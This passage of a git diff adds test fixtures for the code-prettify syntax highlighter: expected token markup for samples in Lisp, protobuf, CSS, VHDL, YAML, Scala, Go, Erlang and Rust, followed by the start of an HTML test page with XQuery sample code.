`END`OPN(`END`PLNturn-on-auto-fill`END`CLO)`END' + + '`PLN\n' + + ' `END`CLO)`END`PLN\n' + + '`END`CLO)`END`PLN\n' + + '\n' + + '`END`COM;; Fundamental mode`END`PLN\n' + + '`END`OPN(`END`PLNadd-hook `END`LIT\'fundamental-mode-hook`END' + + '`PLN \n' + + ' `END`LIT\'`END`OPN(`END`KWDlambda`END`PLN `END`OPN(`END' + + '`CLO)`END`PLN\n' + + ' `END`OPN(`END`PLNturn-on-auto-fill`END' + + '`CLO)`END`PLN\n' + + ' `END`CLO)`END`PLN\n' + + '`END`CLO)`END`PLN\n' + + '\n' + + '`END`COM;; Define and cond are keywords in scheme`END`PLN\n' + + '`END`OPN(`END`KWDdefine`END`PLN `END`OPN(`END`PLNsqt x`END`CLO)`END' + + '`PLN `END`OPN(`END`PLNsqrt-iter `END`LIT1.0`END`PLN `END' + + '`LIT2.0`END`PLN x`END`CLO))`END' + ), + issue45: ( + '`KWDthrow`END`PLN `END`KWDnew`END`PLN `END`TYPRuntimeException`END' + + '`PUN(`END`STR"Element ["`END`PLN `END`PUN+`END`PLN element`END' + + '`PUN.`END`PLNgetName`END`PUN()`END`PLN `END`PUN+`END`PLN \n' + + ' `END`STR"] missing attribute."`END`PUN);`END`PLN\n' + + 'variable`END`PUN++;`END' + ), + proto: ( + '`KWDmessage`END`PLN `END`TYPSearchRequest`END`PLN `END`PUN{`END' + + '`PLN\n' + + ' `END`KWDrequired`END`PLN `END`TYPstring`END`PLN query `END' + + '`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`KWDoptional`END`PLN `END`TYPint32`END`PLN page_number `END' + + '`PUN=`END`PLN `END`LIT2`END`PUN;`END`PLN\n' + + ' `END`KWDoptional`END`PLN `END`TYPint32`END' + + '`PLN result_per_page `END`PUN=`END`PLN `END`LIT3`END`PLN `END' + + '`PUN[`END`KWDdefault`END`PLN `END`PUN=`END`PLN `END`LIT10`END' + + '`PUN];`END`PLN\n' + + ' `END`KWDenum`END`PLN `END`TYPCorpus`END`PLN `END`PUN{`END' + + '`PLN\n' + + ' UNIVERSAL `END`PUN=`END`PLN `END`LIT0`END`PUN;`END' + + '`PLN\n' + + ' WEB `END`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' IMAGES `END`PUN=`END`PLN `END`LIT2`END`PUN;`END`PLN\n' + + ' LOCAL `END`PUN=`END`PLN `END`LIT3`END`PUN;`END`PLN\n' + + ' NEWS `END`PUN=`END`PLN `END`LIT4`END`PUN;`END`PLN\n' + + ' PRODUCTS `END`PUN=`END`PLN `END`LIT5`END`PUN;`END' + + '`PLN\n' + + ' VIDEO `END`PUN=`END`PLN `END`LIT6`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDoptional`END`PLN `END`TYPCorpus`END`PLN corpus `END' + + '`PUN=`END`PLN `END`LIT4`END`PLN `END`PUN[`END`KWDdefault`END' + + '`PLN `END`PUN=`END`PLN UNIVERSAL`END`PUN];`END`PLN\n' + + '`END`PUN}`END' + ), + wiki: ( + '`KWD#summary`END`PLN hello world\n' + + '`END`KWD#labels`END`PLN `END`LITHelloWorld`END`PLN `END' + + '`LITWikiWord`END`PLN Hiya\n' + + '\n' + + '`END`PUN[`END' + + '`STRhttp://www.google.com/?q=WikiSyntax+site:code.google.com`END' + + '`PLN `END`LITWikiSyntax`END`PUN]`END`PLN\n' + + '\n' + + 'Lorem Ipsum ``END`KWDwhile`END`PLN `END`PUN(`END`LIT1`END' + + '`PUN)`END`PLN `END`KWDprint`END`PUN(`END`STR"blah blah"`END' + + '`PUN);`END`PLN`\n' + + '\n' + + ' `END`PUN*`END`PLN Bullet\n' + + ' `END`PUN*`END`PLN Points\n' + + ' `END`PUN*`END`PLN `END`LITNestedBullet`END' + + '`PLN\n' + + '\n' + + '`END`PUN==`END`LITDroningOnAndOn`END`PUN==`END`PLN\n' + + '{{{\n' + + ' `END`COM// Some EmbeddedSourceCode`END`PLN\n' + + ' `END`KWDvoid`END`PLN main`END`PUN()`END`PLN `END`PUN{`END' + + '`PLN\n' + + ' `END`TYPPrint`END`PUN(`END`STR\'hello world\'`END' + + '`PUN);`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '}}}\n' + + '\n' + + '{{{\n' + + ' `END`COM<!-- Embedded XML -->`END`PLN\n' + + ' `END`TAG<foo`END`PLN `END`ATNbar`END`PUN=`END' + + '`ATV"baz"`END`TAG><boo`END`PLN `END' + + '`TAG/><foo>`END`PLN\n' + + '}}}`END' + ), + css: ( + '`COM<!--`END`PLN\n' + + '`END`KWD@charset`END`PUN(`END`STR\'UTF-8\'`END`PUN);`END`PLN\n' + + '\n' + + '`END`COM/** A url that is not quoted. *\/`END`PLN\n' + + '`END`KWD@import`END`PUN(`END`KWDurl`END`PUN(`END`STR/more-styles.css`END' + + '`PUN));`END`PLN\n' + + '\n' + + 'HTML `END`PUN{`END`PLN `END`KWDcontent-before`END`PUN:`END`PLN `END' + + '`STR\'hello\\20\'`END`PUN;`END`PLN `END`KWDcontent-after`END' + + '`PUN:`END`PLN `END`STR\'w\\6f rld\'`END`PUN;`END`PLN\n' + + ' `END`KWD-moz-spiff`END`PUN:`END`PLN `END' + + '`KWDinherit`END`PLN `END`KWD!important`END`PLN `END`PUN}`END' + + '`PLN\n' + + '\n' + + '`END`COM/* Test units on numbers. *\/`END`PLN\n' + + 'BODY `END`PUN{`END`PLN `END`KWDmargin-bottom`END`PUN:`END`PLN `END' + + '`LIT4px`END`PUN;`END`PLN `END`KWDmargin-left`END`PUN:`END' + + '`PLN `END`LIT3in`END`PUN;`END`PLN `END`KWDmargin-bottom`END' + + '`PUN:`END`PLN `END`LIT0`END`PUN;`END`PLN `END`KWDmargin-top`END' + + '`PUN:`END`PLN `END`LIT5%`END`PLN `END`PUN}`END`PLN\n' + + '\n' + + '`END`COM/** Test number literals and quoted values. *\/`END`PLN\n' + + 'TABLE`END`PUN.`END`PLNfoo TR`END`PUN.`END`PLNbar A`END`PUN#`END' + + '`PLNvisited `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END`PLN `END' + + '`LIT#001123`END`PUN;`END`PLN `END`KWDfont-family`END`PUN:`END' + + '`PLN `END`STR"monospace"`END`PLN `END`PUN}`END`PLN\n' + + '`END`COM/** bolder is not a name, so should be plain. ' + + ' !IMPORTANT is a keyword\n' + + ' * regardless of case.\n' + + ' *\/`END`PLN\n' + + 'blink `END`PUN{`END`PLN `END`KWDtext-decoration`END`PUN:`END' + + '`PLN BLINK `END`KWD!IMPORTANT`END`PUN;`END`PLN `END' + + '`KWDfont-weight`END`PUN:`END`PLN bolder `END`PUN}`END`PLN\n' + + '`END`COM/* Empty url() was causing infinite recursion */`END`PLN\n' + + 'a `END`PUN{`END`PLN `END`KWDbackground-image`END`PUN:`END`PLN ' + + '`END`KWDurl`END`PUN();`END`PLN `END`PUN}`END`PLN\n' + + 'p`END`PUN#`END`PLNfeatured`END`PUN{`END`KWDbackground`END`PUN:`END`LIT#fea`END`PUN}`END`PLN\n' + + '`END`COM-->`END' + ), + css_style: ( + '`TAG<style`END`PLN `END`ATNtype`END`PUN=`END`ATV\'text/css\'`END' + + '`TAG>`END`PLN\n' + + '`END`COM/* desert scheme ported from vim to google prettify */`END' + + '`PLN\n' + + 'code`END`PUN.`END`PLNprettyprint `END`PUN{`END`PLN `END' + + '`KWDdisplay`END`PUN:`END`PLN block`END`PUN;`END`PLN `END' + + '`KWDpadding`END`PUN:`END`PLN `END`LIT2px`END`PUN;`END`PLN `END' + + '`KWDborder`END`PUN:`END`PLN `END`LIT1px`END`PLN solid `END' + + '`LIT#888`END`PUN;`END`PLN\n' + + '`END`KWDbackground-color`END`PUN:`END`PLN `END`LIT#333`END`PUN;`END' + + '`PLN `END`PUN}`END`PLN\n' + + '`END`PUN.`END`PLNstr `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#ffa0a0`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* string - pink */`END`PLN\n' + + '`END`PUN.`END`PLNkwd `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#f0e68c`END`PUN;`END`PLN `END`KWDfont-weight`END' + + '`PUN:`END`PLN bold`END`PUN;`END`PLN `END`PUN}`END`PLN\n' + + '`END`PUN.`END`PLNcom `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#87ceeb`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* comment - skyblue */`END`PLN\n' + + '`END`PUN.`END`PLNtyp `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#98fb98`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* type - lightgreen */`END`PLN\n' + + '`END`PUN.`END`PLNlit `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#cd5c5c`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* literal - darkred */`END`PLN\n' + + '`END`PUN.`END`PLNpun `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#fff`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* punctuation */`END`PLN\n' + + '`END`PUN.`END`PLNpln `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#fff`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* plaintext */`END`PLN\n' + + '`END`PUN.`END`PLNtag `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#f0e68c`END`PUN;`END`PLN `END`KWDfont-weight`END' + + '`PUN:`END`PLN bold`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* html/xml tag - lightyellow*/`END`PLN\n' + + '`END`PUN.`END`PLNatn `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#bdb76b`END`PUN;`END`PLN `END`KWDfont-weight`END' + + '`PUN:`END`PLN bold`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* attribute name - khaki*/`END`PLN\n' + + '`END`PUN.`END`PLNatv `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#ffa0a0`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* attribute value - pink */`END`PLN\n' + + '`END`PUN.`END`PLNdec `END`PUN{`END`PLN `END`KWDcolor`END`PUN:`END' + + '`PLN `END`LIT#98fb98`END`PUN;`END`PLN `END`PUN}`END`PLN `END' + + '`COM/* decimal - lightgreen */`END`PLN\n' + + '`END`TAG</style>`END' + ), + issue84: '`KWDsuper`END`PUN(`END`STR"&nbsp;"`END`PUN);`END', + issue86_0: '`COM#One Two words`END', + issue86_1: ( + '`COM#One`END`PLN\n' + + '`END`TYPTwo`END`PLN lines`END' + ), + issue86_2: ( + '`COM#One`END`PLN\n' + + '`END`TYPTwo`END`PLN lines`END' + ), + issue86_3: ( + '`COM#One`END`PLN\n' + + '`END`TYPTwo`END`PLN lines`END' + ), + issue86_4: ( + '`COM#One`END`PLN\n' + + '`END`TYPTwo`END`PLN lines`END' + ), + issue86_5: ( + '`COM#One`END
`PLN ' + + '`END`TYPTwo`END`PLN lines`END' + ), + issue92: ( + '`PUN<?`END`PLNxml version`END`PUN=`END`STR"1.0"`END`PLN encoding`END`PUN=`END' + + '`STR"UTF-8"`END`PUN?>`END`PLN\n' + + '`END`TAG<kml`END`PLN `END`ATNxmlns`END`PUN=`END`ATV"http://www.opengis.net/kml/2.2"`END' + + '`TAG>`END`PLN\n' + + ' `END`TAG<Placemark>`END`PLN\n' + + ' `END`TAG<name>`END`PLNSimple placemark`END`TAG</name>`END`PLN\n' + + ' `END`TAG<description`END' + + '`PLN `END`ATNLang`END`PUN=`END`ATV"en"`END`TAG>`END' + + '`PLNAttached to the ground.' + + ' Intelligently places itself \n' + + ' at the height of the underlying terrain.`END' + + '`TAG</description>`END`PLN\n' + + ' `END`TAG<Point>`END`PLN\n' + + ' `END`TAG<coordinates>`END' + + '`PLN-122.0822035425683,37.42228990140251,0`END`TAG</coordinates>`END`PLN\n' + + ' `END`TAG</Point>`END`PLN\n' + + ' `END`TAG</Placemark>`END`PLN\n' + + '`END`TAG</kml>`END' + ), + cs_verbatim: ( + '`COM// The normal string syntax`END`PLN\n' + + '`END`KWDstring`END`PLN a `END`PUN=`END`PLN `END`STR"C:\\\\"`END`PUN;`END`PLN\n' + + '`END`COM// is equivalent to a verbatim string`END`PLN\n' + + '`END`KWDstring`END`PLN b `END`PUN=`END`PLN `END`STR@"C:\\"`END`PUN;`END' + ), + vhdl: ( + '`KWDlibrary`END`PLN ieee`END`PUN;`END`PLN\n' + + '`END`KWDuse`END`PLN ieee`END`PUN.`END`PLNstd_logic_1164`END`PUN.`END`KWDall`END`PUN;`END`PLN\n' + + '`END`KWDuse`END`PLN ieee`END`PUN.`END`PLNnumeric_std`END`PUN.`END`KWDall`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM-- A line comment`END`PLN\n' + + '`END`KWDentity`END`PLN foo_entity `END`KWDis`END`PLN\n' + + '\n' + + ' `END`KWDgeneric`END`PLN `END`PUN(`END`COM-- comment after punc`END`PLN\n' + + ' a `END`PUN:`END`PLN `END`TYPnatural`END`PLN `END`PUN:=`END' + + '`PLN `END`LIT42`END`PUN;`END`PLN\n' + + ' x `END`PUN:`END`PLN `END`TYPreal`END`PLN `END' + + '`PUN:=`END`PLN `END`LIT16#ab.cd#-3`END`PLN\n' + + ' `END`PUN);`END`PLN\n' + + ' `END`KWDport`END`PLN `END`PUN(`END`PLN\n' + + ' clk_i `END`PUN:`END`PLN `END`KWDin`END`PLN `END`TYPstd_logic`END`PUN;`END`PLN\n' + + ' b_i `END`PUN:`END`PLN `END`KWDin`END`PLN `END`TYPnatural`END`PLN `END`KWDrange`END`PLN `END`LIT0`END`PLN `END`KWDto`END`PLN `END`LIT100`END`PUN;`END`PLN\n' + + ' c_o `END`PUN:`END`PLN `END`KWDout`END`PLN `END`TYPstd_logic_vector`END`PUN(`END`LIT5`END`PLN `END`KWDdownto`END`PLN `END`LIT0`END`PUN);`END`PLN\n' + + ' \\a "name"\\ `END`PUN:`END`PLN `END`KWDout`END`PLN `END`TYPinteger`END`PLN `END`COM-- extended identifier`END`PLN\n' + + ' `END`PUN);`END`PLN\n' + + '\n' + + '`END`KWDend`END`PLN `END`KWDentity`END`PLN foo_entity`END`PUN;`END`PLN\n' + + '\n' + + '`END`KWDarchitecture`END`PLN foo_architecture `END`KWDof`END`PLN foo_entity `END`KWDis`END`PLN\n' + + ' `END`KWDsignal`END`PLN bar_s `END`PUN:`END`PLN `END`TYPstd_logic_vector`END`PUN(`END`LIT2`END`PLN `END`KWDdownto`END`PLN `END`LIT0`END`PUN);`END`PLN\n' + + '`END`KWDbegin`END`PLN\n' + + ' \n' + + ' bar_s `END`PUN<=`END`PLN `END`STRb"101"`END`PUN;`END`PLN\n' + + '\n' + + ' dummy_p `END`PUN:`END`PLN `END`KWDprocess`END`PLN `END`PUN(`END`PLNclk_i`END`PUN)`END`PLN\n' + + ' `END`KWDbegin`END`PLN\n' + + ' `END`KWDif`END`PLN b_i `END`PUN=`END`PLN `END`LIT1`END`PLN `END`KWDthen`END`PLN\n' + + ' c_o `END`PUN<=`END`PLN `END`PUN(`END`KWDothers`END`PLN `END`PUN=>`END`PLN `END`STR\'0\'`END`PUN);`END`PLN\n' + + ' `END`KWDelsif`END`PLN rising_edge`END`PUN(`END`PLNclk_i`END`PUN)`END`PLN `END`KWDthen`END`PLN\n' + + ' c_o `END`PUN<=`END`PLN `END`STR"1011"`END`PLN `END`PUN&`END`PLN bar_s`END`PUN(`END`LIT1`END`PLN `END`KWDdownto`END`PLN `END`LIT0`END`PUN);`END`PLN\n' + + ' `END`KWDend`END`PLN `END`KWDif`END`PUN;`END`PLN\n' + + ' `END`KWDend`END`PLN `END`KWDprocess`END`PLN dummy_p`END`PUN;`END`PLN\n' + + '\n' + + '`END`KWDend`END`PLN `END`KWDarchitecture`END`PLN foo_architecture`END`PUN;`END' + ), + yaml1: ( + '`KWDapplication: `END`PLNmirah`END`PUN-`END`PLNlang\n' + + '`END`KWDversion: `END`PLN1\n' + + '\n' + + '`END`COM# Here\'s a comment`END`PLN\n' + + '`END`KWDhandlers:\n' + + '`END`PLN `END`PUN-`END`PLN `END`KWDurl: `END`PLN/red/*\n' + + ' `END`KWDservlet: `END`PLNmysite.server.TeamServlet\n' + + ' `END`KWDinit_params:\n' + + '`END`PLN `END`KWDteamColor: `END`PLNred\n' + + ' `END`KWDbgColor: `END`STR"#CC0000"`END`PLN\n' + + ' `END`KWDname: `END`PLNredteam\n' + + ' `END`PUN-`END`PLN `END`KWDurl: `END`PLN/blue/*\n' + + ' `END`KWDservlet: `END`PLNmysite.server.TeamServlet\n' + + ' `END`KWDinit_params:\n' + + '`END`PLN `END`KWDteamColor: `END`PLNblue\n' + + ' `END`KWDbgColor: `END`STR"#0000CC"`END`PLN\n' + + ' `END`KWDname: `END`PLNblueteam\n' + + ' `END`PUN-`END`PLN `END`KWDurl: `END`PLN/register/*\n' + + ' `END`KWDjsp: `END`PLN/register/start.jsp\n' + + ' `END`PUN-`END`PLN `END`KWDurl: `END`PLN*.special\n' + + ' `END`KWDfilter: `END`PLNmysite.server.LogFilterImpl\n' + + ' `END`KWDinit_params:\n' + + '`END`PLN `END`KWDlogType: `END`PLNspecial\n' + + ' `END' + ), + yaml2: ( + '`DEC%YAML 1.1`END`PLN\n' + + '`END`DEC---\n' + + '`END`TYP!!map`END`PLN {\n' + + ' `END`PUN?`END`PLN `END`TYP!!str`END`PLN `END`STR""`END`PLN\n' + + ' `END`PUN:`END`PLN `END`TYP!!str`END`PLN `END`STR"value"`END`PLN,\n' + + ' `END`PUN?`END`PLN `END`TYP!!str`END`PLN `END`STR"explicit key"`END`PLN\n' + + ' `END`PUN:`END`PLN `END`TYP!!str`END`PLN `END`STR"value"`END`PLN,\n' + + ' `END`PUN?`END`PLN `END`TYP!!str`END`PLN `END`STR"simple key"`END`PLN\n' + + ' `END`PUN:`END`PLN `END`TYP!!str`END`PLN `END`STR"value"`END`PLN,\n' + + ' `END`PUN?`END`PLN `END`TYP!!seq`END`PLN [\n' + + ' `END`TYP!!str`END`PLN `END`STR"collection"`END`PLN,\n' + + ' `END`TYP!!str`END`PLN `END`STR"simple"`END`PLN,\n' + + ' `END`TYP!!str`END`PLN `END`STR"key"`END`PLN\n' + + ' ]\n' + + ' `END`PUN:`END`PLN `END`TYP!!str`END`PLN `END`STR"value"`END`PLN\n' + + '}`END' + ), + scala: ( + '`COM/* comment 1 *\/`END`PLN\n' + + '`END`COM/*\n' + + 'comment 2\n' + + '*\/`END`PLN\n' + + '`END`COM/* comment / * comment 3 **\/`END`PLN\n' + + '`END`COM// strings`END`PLN\n' + + '`END`STR"Hello, World!"`END`PUN,`END`PLN `END`STR"\\n"`END`PUN,`END`PLN\n' + + '`END`LIT`an-identifier``END`PUN,`END`PLN `END`LIT`\\n``END`PUN,`END`PLN\n' + + '`END`STR\'A\'`END`PUN,`END`PLN `END`STR\'\\n\'`END`PUN,`END`PLN\n' + + '`END`LIT\'aSymbol`END`PUN,`END`PLN\n' + + '`END`STR"""Hello,\n' + + 'World"""`END`PUN,`END`PLN `END`STR"""Hello,\\nWorld"""`END`PUN,`END`PLN\n' + + '`END`STR"""Hello, "World"!"""`END`PUN,`END`PLN\n' + + '`END`STR"""Hello, \\"World\\""""`END`PLN\n' + + '\n' + + '`END`COM// Numbers`END`PLN\n' + + '`END`LIT0`END`PLN\n' + + '`END`LIT0123`END`PLN\n' + + '`END`LIT0xa0`END`PLN\n' + + '`END`LIT0XA0L`END`PLN\n' + + '`END`LIT123`END`PLN\n' + + '`END`LIT123.45`END`PLN\n' + + '`END`LIT1.50F`END`PLN\n' + + '`END`LIT0.50`END`PLN\n' + + '`END`PUN.`END`LIT50`END`PLN\n' + + '`END`LIT123e-1`END`PLN\n' + + '`END`LIT123.45e+1`END`PLN\n' + + '`END`LIT1.50e2`END`PLN\n' + + '`END`LIT0.50e-6`END`PLN\n' + + '`END`PUN.`END`LIT50e+42f`END`PLN\n' + + '\n' + + '`END`COM// Values`END`PLN\n' + + '`END`LITfalse`END`PUN,`END`PLN `END`LITtrue`END`PUN,`END`PLN `END`LITnull`END`PUN,`END`PLN `END`LITthis`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// Keywords`END`PLN\n' + + '`END`KWDclass`END`PLN `END`TYPMyClass`END`PUN;`END`PLN\n' + + '`END`KWDimport`END`PLN foo`END`PUN.`END`PLNbar`END`PUN;`END`PLN\n' + + '`END`KWDpackage`END`PLN baz`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM// From scala-lang.org/node/242`END`PLN\n' + + '`END`KWDdef`END`PLN act`END`PUN()`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDvar`END`PLN pongCount `END`PUN=`END`PLN `END`LIT0`END`PLN\n' + + ' loop `END`PUN{`END`PLN\n' + + ' react `END`PUN{`END`PLN\n' + + ' `END`KWDcase`END`PLN `END`TYPPing`END`PLN `END`PUN=>`END`PLN\n' + + ' `END`KWDif`END`PLN `END`PUN(`END`PLNpongCount `END`PUN%`END`PLN `END`LIT1000`END`PLN `END`PUN==`END`PLN `END`LIT0`END`PUN)`END`PLN\n' + + ' `END`TYPConsole`END`PUN.`END`PLNprintln`END`PUN(`END`STR"Pong: ping "`END`PUN+`END`PLNpongCount`END`PUN)`END`PLN\n' + + ' sender `END`PUN!`END`PLN `END`TYPPong`END`PLN\n' + + ' pongCount `END`PUN=`END`PLN pongCount `END`PUN+`END`PLN `END`LIT1`END`PLN\n' + + ' `END`KWDcase`END`PLN `END`TYPStop`END`PLN `END`PUN=>`END`PLN\n' + + ' `END`TYPConsole`END`PUN.`END`PLNprintln`END`PUN(`END`STR"Pong: stop"`END`PUN)`END`PLN\n' + + ' exit`END`PUN()`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '`END`PUN}`END' + ), + go: ( + '`PLNpackage main `END`COM/* Package of which this program is part. *\/`END`PLN\n' + + '\n' + + 'import fmt "fmt" `END`COM// Package implementing formatted I/O.`END`PLN\n' + + '\n' + + '\n' + + 'func main() {\n' + + ' fmt.Printf("Hello, world; or \u039a\u03b1\u03bb\u03b7\u03bc\u03ad\u03c1\u03b1 \u03ba\u03cc\u03c3\u03bc\u03b5; or \u3053\u3093\u306b\u3061\u306f \u4e16\u754c\\n") `END`COM// Semicolon inserted here`END`PLN\n' + + '}\n' + + '\n' + + '`END`COM/* " *\/`END`PLN "foo /* " `END`COM/*\/ *\/`END`PLN\n' + + '`END`COM/* ` *\/`END`PLN `foo /* ` `END`COM/*\/ *\/`END' + ), + erlang: ( + '`COM% Sample comment`END`PLN\n' + + '\n' + + '`END`KWD-module`END`PLN(my_test)`END`PUN.`END`PLN\n' + + '`END`KWD-include_lib`END`PLN(`END`STR"my_sample_lib.hrl"`END`PLN)`END`PUN.`END`PLN\n' + + '`END`KWD-export`END`PLN([\n' + + ' test/`END`LIT2`END`PLN\n' + + '])`END`PUN.`END`PLN\n' + + '\n' + + '`END`COM%% @doc Define a macro`END`PLN\n' + + '`END`KWD-define`END`PLN(my_macro`END`PUN,`END`PLN `END`TYPVariable`END`PLN)`END`PUN.`END`PLN\n' + + '\n' + + '`END`COM%% @doc My function`END`PLN\n' + + 'test(`END`TYPVariables`END`PUN,`END`PLN `END`TYPMoreVariables`END`PLN) ->\n' + + ' `END`COM% Inline comment`END`PLN\n' + + ' {ok`END`PUN,`END`TYPScanned`END`PUN,`END`TYP_`END`PLN} = my_lib:do_stuff()`END`PUN,`END`PLN\n' + + '\n' + + ' `END`TYPVariable`END`PLN = `END`KWDfun`END`PLN(`END`TYPV`END`PLN) -> {ok`END`PUN,`END`PLN `END`TYPV`END`PLN} `END`KWDend`END`PUN,`END`PLN\n' + + '\n' + + ' `END`KWDtry`END`PLN `END`LIT?my_macro`END`PLN({value`END`PUN,`END`PLN test}) `END`KWDof`END`PLN\n' + + ' {value`END`PUN,`END`PLN `END`TYPResult`END`PUN,`END`PLN `END`TYP_`END`PLN} ->\n' + + ' {ok`END`PUN,`END`PLN `END`TYPResult`END`PLN}\n' + + ' `END`KWDcatch`END`PLN\n' + + ' `END`TYPType`END`PLN:`END`TYPError`END`PLN ->\n' + + ' {`END`LIT\'error\'`END`PUN,`END`PLN `END`TYPType`END`PUN,`END`PLN `END`TYPError`END`PLN}\n' + + ' `END`KWDend`END`PUN.`END' + ), + rust: ( + '`COM// Single line comment`END`PLN\n' + + '`END`COM/* Multi-line (nesting not highlighted properly, sorry)\n' + + 'comment */`END`PLN\n' + + '\n' + + '`END`ATV#![feature(code_prettification)]`END`PLN\n' + + '\n' + + '`END`KWDuse`END`PLN std`END`PUN::`END`PLNio`END`PUN::{`END`LITself`END`PUN,`END`PLN Write`END`PUN};`END`PLN\n' + + '\n' + + '`END`KWDimpl`END`PUN<`END`TAG\'a`END`PUN,`END`PLN T`END`PUN:`END`PLN `END`TAG\'a`END`PLN `END`PUN+`END`PLN `END`PUN?`END`TYPSized`END`PUN>`END`PLN Foo`END`PUN<`END`TAG\'a`END`PUN,`END`PLN `END`TAG\'static`END`PUN>`END`PLN `END`KWDfor`END`PLN Bar`END`PUN<`END`TAG\'b`END`PUN>`END`PLN\n' + + '`END`KWDwhere`END`PLN T`END`PUN:`END`PLN `END`TYPIterator`END`PUN<`END`PLNItem `END`PUN=`END`PLN `END`TYPBox`END`PUN<`END`TYPFn`END`PUN()`END`PLN `END`PUN->`END`PLN `END`TYPu32`END`PUN>>`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDfn`END`PLN something`END`PUN(&`END`KWDmut`END`PLN `END`LITself`END`PUN)`END`PLN `END`PUN->`END`PLN `END`TYPu32`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDif`END`PLN `END`KWDlet`END`PLN `END`TYPSome`END`PUN(`END`KWDref`END`PLN x`END`PUN)`END`PLN `END`PUN=`END`PLN `END`LITself`END`PUN.`END`PLNfoo`END`PUN(`END`STR"multi li\\ne\n' + + 's\\tring"`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' `END`ATNpanic!`END`PUN(`END`STRr"\\things is going wrong!"`END`PUN);`END`PLN\n' + + ' `END`ATNpanic!`END`PUN(`END`STRr#"Things is "really" goig\\n wront!"#`END`PUN);`END`PLN\n' + + ' `END`ATNpanic!`END`PUN(`END`STRr##"Raw strings are #"#fancy#"#"##`END`PUN);`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`KWDpub`END`PLN `END`KWDtype`END`PLN CowString`END`PUN<`END`TAG\'a`END`PUN>`END`PLN `END`PUN=`END`PLN std`END`PUN::`END`PLNcow`END`PUN::`END`PLNCow`END`PUN<`END`TAG\'a`END`PUN,`END`PLN `END`TYPstr`END`PUN>;`END`PLN\n' + + '\n' + + '`END`KWDfn`END`PLN main`END`PUN()`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDlet`END`PLN `END`PUN(`END`PLNi`END`PUN,`END`PLN r`END`PUN)`END`PLN `END`PUN=`END`PLN `END`PUN(`END`LIT1u8`END`PUN,`END`PLN `END`STR\'c\'`END`PUN);`END`PLN\n' + + ' `END`KWDlet`END`PLN s `END`PUN=`END`PLN `END`STRr#"Take a raw egg,\n' + + ' "break" it (or the line),\n' + + ' and beat it"#`END`PUN;`END`PLN\n' + + '`END`PUN}`END' + ) +}; diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test_2.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test_2.html new file mode 100644 index 000000000..c62e032bc --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test_2.html @@ -0,0 +1,1205 @@ + + + + +Code Prettifier + + + + + + + +

Test Results

+
+ +
+ +

XQuery

+

From http://www.patrick-wied.at/static/xquery/prettify/

+
+(: 
+	Took some of Mike Brevoort's xquery code samples because they are nice and show common xquery syntax 
+:)
+ 
+  (:~
+   : Given a sequence of version URIs, publish all of these versions of each document
+   : If there is a version of the same document already published, unpublish it 1st
+   :
+   : When "publish" is referred to, we mean that it is put into the PUBLISHED collection
+   : unpublish removes content from this collection
+   : @param $version_uris - sequence of uris of versions of managed documents to publish
+   :)
+  declare function comoms-dls:publish($version_uris as item()*) {
+      for $uri in $version_uris
+      let $doc := fn:doc($uri)
+      let $managed_base_uri := $doc/node()/property::dls:version/dls:document-uri/text()
+      let $existing :=  comoms-dls:publishedDoc($managed_base_uri)
+      let $unpublishExisting := if($existing) then comoms-dls:unpublishVersion((xdmp:node-uri($existing)))  else ()
+      let $addPermissions := dls:document-add-permissions($uri, (xdmp:permission('mkp-anon', 'read')))
+      return
+          dls:document-add-collections($uri, ("PUBLISHED"))    
+  };
+ 
+  declare function comoms-dls:publishLatest($uri) {
+      (: TODO check if it's in the draft collection probably :)
+ 
+      let $latest_version_uri := comoms-dls:latestVersionUri($uri)
+      let $log:= xdmp:log(fn:concat("latest: ", $latest_version_uri))    
+      let $log:= xdmp:log(fn:concat("uri: ", $uri))            
+      return comoms-dls:publish($latest_version_uri)    
+ 
+  };
+ 
+  declare function comoms-dls:latestVersionUri($uri) {
+      let $latest_version_num :=
+          (
+          for $version in dls:document-history($uri)/dls:version
